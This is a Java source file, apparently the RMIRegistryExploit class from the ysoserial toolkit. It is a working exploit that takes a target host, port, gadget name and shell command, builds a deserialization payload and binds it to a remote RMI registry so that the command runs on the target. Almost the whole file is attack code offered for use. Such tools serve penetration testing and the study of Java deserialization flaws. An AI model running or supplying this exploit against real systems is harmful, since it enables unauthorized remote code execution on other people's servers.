package ysoserial.exploit;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}